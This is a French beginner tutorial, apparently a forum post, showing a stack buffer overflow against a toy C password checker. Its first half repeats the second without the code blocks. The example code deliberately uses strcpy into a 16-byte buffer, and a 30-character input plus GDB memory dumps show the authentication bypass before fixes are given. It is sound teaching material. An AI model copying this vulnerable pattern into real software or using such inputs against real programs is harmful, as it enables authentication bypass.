Aujourd'hui, nous allons opérer notre première attaque par buffer overflow.
Rassurer vous, pour la première fois, nous allons prendre un exemple simple.
Pour simplifier l'apprentissage, nous allons fonctionner par l'exemple et l'expérimentation.
Prérequis
Certains prérequis sont nécessaire pour la bonne compréhension et le bon fonctionnement de ce tutoriel :
Notre environnement de travail
Dans le cadre de ce tutoriel, nous allons utiliser le code C suivant :
La compréhension de ce code ne devrait pas vous poser trop de problèmes.
Pour ceux qui n'auraient pas compris, ce code est un "portail de connexion" s'ouvrant uniquement si le mot de passe fournit en argument de la ligne de commande est AnOnyme77 ou Hackademics.
Copiez - Collez ce code dans un fichier nommé auth_overflow.c.
Compilons le ensuite :
Dans notre cas, nous utilisons l'option -g de GCC afin de permettre le debuggage du programme par GDB par la suite.
Après compilation, vous devriez avoir un nouvel exécutable nommé auth_overflow dans le répertoire courant.
Quelques tests
Maintenant que nous avons un exécutable, testons le un peu :
Jusque là, tout semble se dérouler comme prévu mais que ce passe t'il si l'on essaye de forcer un peu notre serrure virtuelle ?
Ici, notre programme nous réponds que l'accès est autorisé.
Cependant, ce mot de passe ne fait pas partie de ceux autorisés ? Pourquoi notre portail de connexion réagit il de la sorte ?
Dans le vif du sujet
Pour comprendre le fonctionnement anormal de notre programme, nous allons étudier son fonctionnement exact à l'aide de GDB.
Ici, nous lançons GDB et plaçons des breakpoints en ligne 9 et 16.
Pour ceux qui ne connaitraient pas l'utilité des breakpoints, ceux-ci permettent de stopper l'exécution du programme juste avant la ligne signalée par le breakpoint.
Cette pause permet d'analyser le contenu de la mémoire du programme et donc de mieux en comprendre le fonctionnement.
Lançons maintenant notre programme dans GDB avec le même argument que celui donné à la ligne de commande :
Nous remarquons que le programme est bien arrêté au premier breakpoint.
Analysons donc l'état de ses variables :
Comme nous sommes dans la fonction check_authentification, nous pouvons accéder à ses variables.
Nous pouvons alors voir que :
Calculons l'écart mémoire entre nos deux variables :
Nous voyons que celui-ci est de 28 octets. Auth_flag est donc stocké 28 octets après password_buffer.
L'instruction suivante nous permettra donc de localiser auth_flag tout en s'intéressant uniquement à password_buffer :
Nous pouvons retrouver la valeur de auth_flag (que j'ai ici mise entouré de points d'exclamation).
Après ces inspections, laissons le programme continuer et aller jusqu'à son second breakpoint et réanalysons la mémoire de nos variables :
Cette analyse nous dit que :
Il n'est pas logique que la variable password_buffer puisse contenir 30 caractères A. Souvenez vous que ce buffer ne fait que 16 caractère.
Et en effet, comme on peut le voir sur la dernière commande dans GDB, la variable password_buffer à dépasser de son emplacement mémoire et a écrit sur des adresses mémoire qui ne lui étaient pas allouées. Elle a même écrasé le début de la variable auth_flag ! Nous avons notre buffer overflow..
Celui-ci est du au fait que la fonction strcpy copie les données d'un buffer vers un autre sans se soucier de la taille du buffer de destination. Il peut donc très bien lui arriver de "déborder" dans une mémoire qui n'est pas allouée à ce buffer.
De ce fait, la variable auth_flag a pris la valeur hexadécimale 0x00004141.
Que vaut cette valeur en décimal ?
Auth_flag vaut donc 16705.
Si nous demandons à GDB de continuer l'exécution, il nous affiche alors le message suivant :
En effet, comme en C toute variable numérique non nulle étant l'équivalant d'un True, lorsque la valeur de auth_flag est retourné à la condition gérant la bonne connexion, celle-ci autorise l'accès.
Se protéger de cet overflow basique
Il existe plusieurs méthodes pour protéger son code de ce type de buffer overflow.
Dans celles-ci, on peut proposer de :
Le mot de la fin
Ce tutoriel est maintenant terminé. N'hésitez surtout pas à poser des questions si certains aspects vous paraissent flous.
Je serai bien entendu disponible pour y répondre.
Pour les plus techniciens d'entre vous, vous aurez remarqué que ce type de buffer overflow se fait dans la pile (étant donné que nous jouons avec les variables d'une fonction).
Dans un tutoriel suivant, nous exploiterons le même type de faille (overflow dans la pile) afin de nous garantir un accès en root sur la machine cible.
Rassurer vous, pour la première fois, nous allons prendre un exemple simple.
Pour simplifier l'apprentissage, nous allons fonctionner par l'exemple et l'expérimentation.
Prérequis
Certains prérequis sont nécessaire pour la bonne compréhension et le bon fonctionnement de ce tutoriel :
- Connaitre le langage C
- Disposer d'une machine Linux (physique ou virtuelle) : En effet, ce tutoriel ayant été fait sur Linux, je ne peux pas vous garantir que vous aurez le même résultat si vous êtes sur un autre environnement
- Savoir utiliser Linux en ligne de commande
- Avoir GCC et GDB installés
- Dans une moindre mesure, avoir lu mon article concernant la segmentation de la mémoire : Le sujet ne sera pas explicitement abordé dans ce premier tutoriel sur le buffer overflow mais il vous permettra une meilleur compréhension
Notre environnement de travail
Dans le cadre de ce tutoriel, nous allons utiliser le code C suivant :
Code:
#include <stdio.h> #include <stdlib.h> #include <string.h> int check_authentification(char * password){ int auth_flag=0; char password_buffer[16]; strcpy(password_buffer,password); if(strcmp(password_buffer,"AnOnyme77")==0) auth_flag=1; if(strcmp(password_buffer,"Hackademics")==0) auth_flag=1; return auth_flag; } int main(int argc,char* argv[]){ if(argc<2){ printf("Usage %s <password>\n",argv[0]); exit(0); } if(check_authentification(argv[1])){ printf("Accesss Granted\n"); } else{ printf("Accesss Denied\n"); } }
La compréhension de ce code ne devrait pas vous poser trop de problèmes.
Pour ceux qui n'auraient pas compris, ce code est un "portail de connexion" s'ouvrant uniquement si le mot de passe fournit en argument de la ligne de commande est AnOnyme77 ou Hackademics.
Copiez - Collez ce code dans un fichier nommé auth_overflow.c.
Compilons le ensuite :
Code:
[email protected]:~# gcc -g -o auth_overflow auth_overflow.c
Après compilation, vous devriez avoir un nouvel exécutable nommé auth_overflow dans le répertoire courant.
Quelques tests
Maintenant que nous avons un exécutable, testons le un peu :
Code:
[email protected]:~# ./auth_overflow AnOnyme77 Accesss Granted [email protected]:~# ./auth_overflow Hackademics Accesss Granted [email protected]:~# ./auth_overflow [email protected]@t Accesss Denied
Code:
./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Accesss Granted
Cependant, ce mot de passe ne fait pas partie de ceux autorisés ? Pourquoi notre portail de connexion réagit il de la sorte ?
Dans le vif du sujet
Pour comprendre le fonctionnement anormal de notre programme, nous allons étudier son fonctionnement exact à l'aide de GDB.
Code:
[email protected]:~# gdb -q ./auth_overflow Reading symbols from /root/auth_overflow...done. (gdb) list 1 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int check_authentification(char * password){ 6 int auth_flag=0; 7 char password_buffer[16]; 8 9 strcpy(password_buffer,password); 10 (gdb) 11 if(strcmp(password_buffer,"AnOnyme77")==0) 12 auth_flag=1; 13 if(strcmp(password_buffer,"Hackademics")==0) 14 auth_flag=1; 15 16 return auth_flag; 17 } 18 19 int main(int argc,char* argv[]){ 20 if(argc<2){ (gdb) 21 printf("Usage %s <password>\n",argv[0]); 22 exit(0); 23 } 24 if(check_authentification(argv[1])){ 25 printf("Accesss Granted\n"); 26 } 27 else{ 28 printf("Accesss Denied\n"); 29 } 30 }(gdb) Line number 31 out of range; auth_overflow.c has 30 lines. (gdb) break 9 Breakpoint 1 at 0x40064f: file auth_overflow.c, line 9. (gdb) break 16 Breakpoint 2 at 0x40069a: file auth_overflow.c, line 16.
Pour ceux qui ne connaitraient pas l'utilité des breakpoints, ceux-ci permettent de stopper l'exécution du programme juste avant la ligne signalée par le breakpoint.
Cette pause permet d'analyser le contenu de la mémoire du programme et donc de mieux en comprendre le fonctionnement.
Lançons maintenant notre programme dans GDB avec le même argument que celui donné à la ligne de commande :
Code:
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /root/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, check_authentification (password=0x7fffffffee66 'A' <repeats 30 times>) at auth_overflow.c:9 9 strcpy(password_buffer,password);
Analysons donc l'état de ses variables :
Code:
(gdb) x/s password_buffer 0x7fffffffeb30: "\001" (gdb) x/x &auth_flag 0x7fffffffeb4c: 0x00
Nous pouvons alors voir que :
- password_buffer se trouve à l'adresse 0x7fffffffeb30 et contient des données aléatoires
- auth_flag se trouve à l'adresse 0x7fffffffeb4c et contient la valeur hexadécimale 0
Calculons l'écart mémoire entre nos deux variables :
Code:
(gdb) print 0x7fffffffeb4c - 0x7fffffffeb30 $1 = 28
L'instruction suivante nous permettra donc de localiser auth_flag tout en s'intéressant uniquement à password_buffer :
Code:
(gdb) x/16xw password_buffer 0x7fffffffeb30: 0x00000001 0x00000000 0x0040077d 0x00000000 0x7fffffffeb40: 0xf7a61c48 0x00007fff 0x00400720 !!!0x00000000!!! 0x7fffffffeb50: 0xffffeb70 0x00007fff 0x004006ea 0x00000000 0x7fffffffeb60: 0xffffec58 0x00007fff 0x00000000 0x00000002
Après ces inspections, laissons le programme continuer et aller jusqu'à son second breakpoint et réanalysons la mémoire de nos variables :
Code:
gdb) continue Continuing. Breakpoint 2, check_authentification (password=0x7fffffffee66 'A' <repeats 30 times>) at auth_overflow.c:16 16 return auth_flag; (gdb) x/s password_buffer 0x7fffffffeb30: 'A' <repeats 30 times> (gdb) x/x &auth_flag 0x7fffffffeb4c: 0x41 (gdb) x/16xw password_buffer 0x7fffffffeb30: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffeb40: 0x41414141 0x41414141 0x41414141 0x00004141 0x7fffffffeb50: 0xffffeb70 0x00007fff 0x004006ea 0x00000000 0x7fffffffeb60: 0xffffec58 0x00007fff 0x00000000 0x00000002
- password_buffer se trouve à l'adresse 0x7fffffffeb30 et contient 30 caractères A
- auth_flag se trouve à l'adresse 0x7fffffffeb4c et contient la valeur hexadécimale 0x00004141
Il n'est pas logique que la variable password_buffer puisse contenir 30 caractères A. Souvenez vous que ce buffer ne fait que 16 caractère.
Et en effet, comme on peut le voir sur la dernière commande dans GDB, la variable password_buffer à dépasser de son emplacement mémoire et a écrit sur des adresses mémoire qui ne lui étaient pas allouées. Elle a même écrasé le début de la variable auth_flag ! Nous avons notre buffer overflow..
Celui-ci est du au fait que la fonction strcpy copie les données d'un buffer vers un autre sans se soucier de la taille du buffer de destination. Il peut donc très bien lui arriver de "déborder" dans une mémoire qui n'est pas allouée à ce buffer.
De ce fait, la variable auth_flag a pris la valeur hexadécimale 0x00004141.
Que vaut cette valeur en décimal ?
Code:
(gdb) x/dw &auth_flag 0x7fffffffeb4c: 16705
Si nous demandons à GDB de continuer l'exécution, il nous affiche alors le message suivant :
Code:
(gdb) continue Continuing. Accesss Granted
Se protéger de cet overflow basique
Il existe plusieurs méthodes pour protéger son code de ce type de buffer overflow.
Dans celles-ci, on peut proposer de :
- Inverser l'ordre de déclaration de auth_flag et de password_buffer dans notre méthode check_authentification : Cela aura pour effet de placer auth_flag avant password_buffer dans la mémoire. Ainsi, si il déborde, il n'écrasera pas la valeur de auth_flag, cependant, il débordera tout de même, ce qui pourrait poser d'autres problèmes comme on le verra dans un tutoriel suivant.
- Remplacer l'invocation à la fonction strcpy par celle-ci :
Code:strncpy(password_buffer,password,sizeof(password_buffer));
Le mot de la fin
Ce tutoriel est maintenant terminé. N'hésitez surtout pas à poser des questions si certains aspects vous paraissent flous.
Je serai bien entendu disponible pour y répondre.
Pour les plus techniciens d'entre vous, vous aurez remarqué que ce type de buffer overflow se fait dans la pile (étant donné que nous jouons avec les variables d'une fonction).
Dans un tutoriel suivant, nous exploiterons le même type de faille (overflow dans la pile) afin de nous garantir un accès en root sur la machine cible.
Commentaire